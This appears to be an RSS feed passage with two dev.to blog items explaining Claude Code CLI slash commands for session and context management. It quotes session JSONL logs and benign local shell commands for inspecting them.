     - Exit plan mode and spawn parallel workers for implementation
     - Track progress of multiple workers implementing different modules
     - Create pull requests for each work unit
  8. Current Work:
     I was in the middle of creating a detailed batch execution plan after the user issued the &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;/batch implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; command. I had:
     - Explored additional files (remote.ts, marker.ts, meta.ts)
     - Started analyzing the codebase for work unit decomposition
     - Was preparing to create a plan file with 15-30 independent, mergeable work units
     - Was designing the e2e test recipe for conversion verification
     - Had entered plan mode and was in the exploration phase
  9. Optional Next Step:
     Continue the batch execution planning by:
     1. Completing the work unit decomposition (creating 15-20 independent units covering project setup, core modules, models, UI layer, CLI layer, and testing)
     2. Designing the e2e test recipe (CLI verification commands, test skill conversion workflow)
     3. Writing the complete plan file to /home/node/.claude/plans/serene-waddling-newt.md
     4. Exiting plan mode to present the plan for approval

     Based on the user's explicit request: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; via batch mode, the next step should focus on finalizing the detailed execution plan for parallel worker implementation.
  If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/node/.claude/projects/-opt-claude-universal-skill-converter/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.jsonl"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isVisibleInTranscriptOnly"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isCompactSummary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9eb02f5b-d4a9-4352-9f64-f1ba5975cecf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here, you cannot use the &lt;code&gt;rewind&lt;/code&gt; command to progress further back, the compacted session is the new starting point.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/clear&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;When compaction does not help, you need to &lt;code&gt;/clear&lt;/code&gt; the context completely.&lt;/p&gt;

&lt;p&gt;Here is the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, a new session ID is generated, and the JSONL file starts from scratch.&lt;/p&gt;

&lt;p&gt;And here is the change to the session file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.claude/projects/-opt-claude-universal-skill-converter/e008d275-5119-45bf-b3ba-541e1845b369.jsonl

&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.905Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: null,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;local-command-caveat&amp;gt;Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.&amp;lt;/local-command-caveat&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isMeta"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.904Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: &lt;span class="s2"&gt;"1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7"&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
    &lt;span class="s2"&gt;"content"&lt;/span&gt;: &lt;span class="s2"&gt;"&amp;lt;command-name&amp;gt;/clear&amp;lt;/command-name&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-message&amp;gt;clear&amp;lt;/command-message&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;command-args&amp;gt;&amp;lt;/command-args&amp;gt;"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.901Z"&lt;/span&gt;,
  &lt;span class="s2"&gt;"userType"&lt;/span&gt;: &lt;span class="s2"&gt;"external"&lt;/span&gt;,
  &lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;: &lt;span class="s2"&gt;"cli"&lt;/span&gt;,
  &lt;span class="s2"&gt;"cwd"&lt;/span&gt;: &lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;,
  &lt;span class="s2"&gt;"sessionId"&lt;/span&gt;: &lt;span class="s2"&gt;"e008d275-5119-45bf-b3ba-541e1845b369"&lt;/span&gt;,
  &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;,
  &lt;span class="s2"&gt;"gitBranch"&lt;/span&gt;: &lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/memory&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Memory is an additional layer in Claude Codes context. It is intended to capture project-specific intricacies for improving work efficiency, for example corrections to errors, detailed build and test commands, or observations about high-level architecture. Claude keeps these memories automatically, and with this command, you gain access to its settings.&lt;/p&gt;

&lt;p&gt;When executed, a navigable terminal interface is rendered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/memory

──────────
Memory

    Auto-memory: on
    Auto-dream: off · never

  ❯ 1. User memory                      Saved &lt;span class="k"&gt;in&lt;/span&gt; ~/.claude/CLAUDE.md
    2. Project memory                   Checked &lt;span class="k"&gt;in &lt;/span&gt;at ./CLAUDE.md
    3. Open auto-memory folder
    4. Open code-improver agent memory  user scope

  Learn more: https://code.claude.com/docs/en/memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Following options are available:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The points “User memory” and “Project memory” lead directly to the printed files.&lt;/li&gt;
&lt;li&gt;When the auto-memory option is enabled, and memory files generated at &lt;code&gt;~/-claude/projects/&amp;lt;id&amp;gt;/memory/&lt;/code&gt;, the option "Open auto-memory folder” opens this directory.&lt;/li&gt;
&lt;li&gt;The code-improver agent is a subagent invoked for refactoring code. Its user-scope file location is &lt;code&gt;~/.claude/agent‑memory/code‑improver/&lt;/code&gt;, and when invoking the fourth option, an editor for its memory file is opened.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, the auto-dream feature was just added in &lt;code&gt;claude code v2.1.92&lt;/code&gt;. It is a mechanism to reconcile fragmented memory files from user and project code, detects duplicate or contradicting entries, and cleans them up, the option toggle enables or disables this feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool for working on complex code bases. It offers more than 40 commands. Understanding their functions, and the scope in which they should be applied, is essential for effective work. In this blog article, commands from the session and context management groups were explored. For session management, you learned a) to run a sub-agent that works on a plan file, b) ask an additional question during a session that does not disrupt the main task, c) list all background tasks, d) create subtrees in long conversation histories, e) rewind to earlier stages, f) stop the current session immediately and g) resuming where you left off. And for context management, you learned a) view a graphical representation of the current context, b) compact the context, reducing what is being send to the LLM provider, c) clear the current context, and d) viewing and editing memory files, from project to user and code-improver agent scope, keeping important learnings as a permanent context.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 18 Jun 2026 06:02:40 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-2l0b</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool that can execute commands on an installed computer. Its focus is coding, helping to implement programs from scratch, to add features, for bug fixing, and for refactoring of complex code bases.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, I systematically explore the CLI, slash commands, and use cases. This article presents a grouped overview of all available commands, scoping the typical session lifecycle and helping you understand when to use which command.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude02_session_configuration_and_reflection/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From this list, groups marked with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are Claude Code Sessions?
&lt;/h2&gt;

&lt;p&gt;Whenever the Claude Code CLI is invoked, a new session is created. On a high-level view, the user enters prompts, which are analyzed and processed to create internal tasks, such as checking/asking for permissions, suggesting and executing tools, and editing files. Each of these tasks is represented in the session history as a specific JSON document, with a unique type and attribute. Let’s investigate this in detail to learn about one part of Claude Code’s functionality.&lt;/p&gt;

&lt;p&gt;Here is an example of starting a new session in my universal-skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; claude

─── Claude Code v2.1.91 ────────────────────────────────────────────────╮
│                                       │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started      │
│            Welcome back!              │ Run /init to create a CLAUDE… │
│                                       │ ───────────────────────────── │
│               ▐▛███▜▌                 │ Recent activity               │
│              ▝▜█████▛▘                │ 1h ago   Parse @README.md     │
│                ▘▘ ▝▝                  │ 22h ago  Explain @Dockerfile  │
│                                       │ 22h ago  Explain the file @D… │
│  claude-haiku-4.5 · API Usage Billing │ /resume &lt;span class="k"&gt;for &lt;/span&gt;more              │
│             /opt/claude               │                               │
╰───────────────────────────────────────────────────────────────────────╯
❯ Parse @README.md
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll parse the README.md file for you.
  Read 1 file (ctrl+o to expand)

● Based on the README.md file, here'&lt;/span&gt;s what I found:
  README.md Analysis

  The README.md file contains minimal content:
  &lt;span class="c"&gt;# universal-skill-converter&lt;/span&gt;

  Summary:
  - The file contains only a title: &lt;span class="s2"&gt;"universal-skill-converter"&lt;/span&gt;
  - There are no additional descriptions, instructions, or content
  - The file appears to be essentially empty except &lt;span class="k"&gt;for &lt;/span&gt;the project title

  This suggests the project is either &lt;span class="k"&gt;in &lt;/span&gt;early stages or the README hasn&lt;span class="s1"&gt;'t been populated with detailed
  information yet.

Resume this session with:
claude --resume 67614647-7351-408e-88b8-2846dc62b860
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See the output when quitting the session – this is the session name. Let’s take a look at where it is stored in your local &lt;code&gt;~/.claude&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: I’m using the claude-code-container from my &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;previous article&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;2846dc62b860&lt;span class="k"&gt;*&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;

&lt;span class="c"&gt;# Log output&lt;/span&gt;
/home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As can be seen, the complete session transcript is stored in the directory &lt;code&gt;~/.claude/projects/-opt-claude&lt;/code&gt;. The base name of this string is the current working directory, which defaults to &lt;code&gt;/opt/claude&lt;/code&gt; when using my container image. This file is a JSON document containing all interactions. Let’s take a look at the first items:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-15&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"permission-mode"&lt;/span&gt;,
